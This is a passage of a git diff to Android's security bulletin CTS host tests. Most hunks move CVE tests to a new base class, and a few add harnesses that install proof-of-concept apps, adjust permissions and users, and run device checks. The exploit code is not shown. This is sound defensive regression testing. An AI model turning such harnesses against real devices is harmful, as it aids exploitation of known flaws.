+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
index 3b12ce5..c47ebf1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39626 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-39626.apk";
static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
index 6cac004..29de04e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -20,16 +20,17 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39664 extends SecurityTestCase {
+public class CVE_2021_39664 extends NonRootSecurityTestCase {
/**
* b/203938029
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
index 311b5ce..79e3d0f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -20,6 +20,7 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39665 extends SecurityTestCase {
+public class CVE_2021_39665 extends NonRootSecurityTestCase {
/**
* b/204077881
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 8f12b52..eb2c5ab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39675 extends SecurityTestCase {
+public class CVE_2021_39675 extends NonRootSecurityTestCase {
/**
* b/205729183
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
index 444f1a5..f755142 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -23,13 +23,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39692 extends NonRootSecurityTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 209611539)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
index acc6a2e..63235ec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -23,7 +23,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -31,7 +31,7 @@
import java.io.File;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39700 extends NonRootSecurityTestCase {
/**
* b/201645790
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
index f8d6fe6..5e78a90 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39701 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39701 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 212286849)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
index cf8a688..cf5d47c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -21,14 +21,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39702 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39702 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-39702.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
new file mode 100644
index 0000000..9aebd15
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39704 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 209965481)
+ @Test
+ public void testPocCVE_2021_39704() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2021_39704";
+
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39704.apk");
+ AdbUtils.runCommandLine(
+ "pm revoke " + "android.security.cts.CVE_2021_39704 "
+ + "android.permission.ACCESS_COARSE_LOCATION",
+ device);
+
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest",
+ "testdeleteNotificationChannelGroup");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
index cd8afef..ecf096f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39706 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 200164168)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
new file mode 100644
index 0000000..e40cea6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39707 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 200688991)
+ @Test
+ public void testPocCVE_2021_39707() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39707";
+ int userId = -1;
+ try {
+ // Wake up the screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Create restricted user
+ String commandOutput = AdbUtils.runCommandLine(
+ "pm create-user --restricted CVE_2021_39707_RestrictedUser", device);
+
+ // Extract user id of the restricted user
+ String[] tokens = commandOutput.split("\\s+");
+ assumeTrue(tokens.length > 0);
+ assumeTrue(tokens[0].equals("Success:"));
+ userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+ // Install PoC application
+ installPackage("CVE-2021-39707.apk");
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ if (userId != -1) {
+ // Remove restricted user
+ AdbUtils.runCommandLine("pm remove-user " + userId, device);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
index 0ae1efa..d67b4e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39794 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2021-39794-test.apk";
static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
new file mode 100644
index 0000000..a427e65
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39795.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39795 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_39795";
+ private static final String DIR_PATH = "/storage/emulated/0/Android/data/CVE-2021-39795-dir";
+
+ @AsbSecurityTest(cveBugId = 201667614)
+ @Test
+ public void testPocCVE_2021_39795() {
+ ITestDevice device = null;
+ try {
+ device = getDevice();
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39795.apk");
+
+ /* Make a directory inside "Android/data" folder */
+ AdbUtils.runCommandLine("mkdir " + DIR_PATH, device);
+
+ /* Allow Read and Write to external storage */
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.READ_EXTERNAL_STORAGE", device);
+ AdbUtils.runCommandLine(
+ "pm grant " + TEST_PKG + " android.permission.WRITE_EXTERNAL_STORAGE", device);
+
+ /* Allow the app to manage all files */
+ AdbUtils.runCommandLine(
+ "appops set --uid " + TEST_PKG + " MANAGE_EXTERNAL_STORAGE allow", device);
+
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testFilePresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ AdbUtils.runCommandLine("rm -rf " + DIR_PATH, device);
+ } catch (Exception e) {
+ // ignore the exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
index f90cae0..07fa927 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java
@@ -20,14 +20,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39796 extends NonRootSecurityTestCase {
static final int USER_ID = 0;
static final String TEST_PKG = "android.security.cts.CVE_2021_39796";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
index ee835f5..1707ce9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
@@ -20,13 +20,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39797 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39797 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 209607104)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
index 1c1b246..0053fc6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -20,18 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.device.ITestDevice;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.After;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39804 extends SecurityTestCase {
+public class CVE_2021_39804 extends NonRootSecurityTestCase {
/**
* b/215002587
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
new file mode 100644
index 0000000..f1eaad2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39808.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39808 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 209966086)
+ @Test
+ public void testPocCVE_2021_39808() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2021_39808";
+
+ ITestDevice device = getDevice();
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39808.apk");
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest","testService");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
index f952082..9745336 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -21,14 +21,14 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39810 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 212610736)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
index df8701c..ec4d197 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20004.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20004 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20004 extends NonRootSecurityTestCase {
final static String TEST_PKG = "android.security.cts.CVE_2022_20004_test";
final static String PROVIDER_PKG = "android.security.cts.CVE_2022_20004_provider";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
index 47ea7ca..abc94f5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20007 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 211481342)
@Test
@@ -37,10 +37,12 @@
final String testClass = testPkg + "." + "DeviceTest";
final String testApp = "CVE-2022-20007.apk";
final String testAttackerApp = "CVE-2022-20007-Attacker.apk";
+ final String testSecondApp = "CVE-2022-20007-Second.apk";
ITestDevice device = getDevice();
try {
installPackage(testApp);
installPackage(testAttackerApp);
+ installPackage(testSecondApp);
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
index a8256d6..e83f090 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20115.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,7 +27,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20115 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20115 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2022_20115";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2022-20115.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
index 8fbf443..baa8707 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
@@ -20,6 +20,7 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -28,7 +29,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20123 extends SecurityTestCase {
+public class CVE_2022_20123 extends NonRootSecurityTestCase {
/**
* b/221852424
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
index c943804..91f8e66 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20127.java
@@ -18,6 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -25,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20127 extends SecurityTestCase {
+public class CVE_2022_20127 extends NonRootSecurityTestCase {
/**
* b/221862119
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
index 08b28b6..1aeaa1d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -22,15 +22,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20131 extends SecurityTestCase {
+public class CVE_2022_20131 extends NonRootSecurityTestCase {
/**
* b/221856662
* Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
index 45c6fb1..9e5e7eb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
